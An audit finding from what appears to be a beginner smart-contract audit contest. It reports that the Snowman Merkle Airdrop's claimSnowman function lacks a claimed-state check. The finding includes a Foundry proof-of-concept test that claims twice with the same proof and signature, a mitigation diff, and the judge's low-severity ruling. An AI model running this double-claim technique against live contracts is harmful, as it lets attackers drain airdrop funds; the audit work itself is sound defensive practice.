Snowman Merkle Airdrop

First Flight #42
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: low
Valid

No Duplicate Claim Check (Missing Claimed State)

Description: The 'claimSnowman' function does not track whether a user has already claimed their Snowman NFT.

Impact: A user can call 'claimSnowman' multiple times with the same valid Merkle proof and signature, repeatedly minting Snowman NFTs and draining the system.

Proof of Concept: Include the following test in the TestSnowmanAirdrop.t.sol file:

function testDoubleClaim() public {
vm.prank(alice);
snow.approve(address(airdrop), 2);
bytes32 alDigest = airdrop.getMessageHash(alice);
(uint8 alV, bytes32 alR, bytes32 alS) = vm.sign(alKey, alDigest);
airdrop.claimSnowman(alice, AL_PROOF, alV, alR, alS);
vm.warp(block.timestamp + 1 weeks);
vm.prank(alice);
snow.earnSnow();
airdrop.claimSnowman(alice, AL_PROOF, alV, alR, alS);
assert(nft.balanceOf(alice) == 2);
}

Recommended Mitigation: Track claim status:

function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s)
external
nonReentrant
{
+ if (s_hasClaimedSnowman[receiver]) {
+ revert("Already claimed");
+ }
// ...
}
Updates

Lead Judging Commences

yeahchibyke Lead Judge 3 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Lack of claim check

The claim function of the Snowman Airdrop contract doesn't check that a recipient has already claimed a Snowman. This poses no significant risk as is as farming period must have been long concluded before snapshot, creation of merkle script, and finally claiming.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.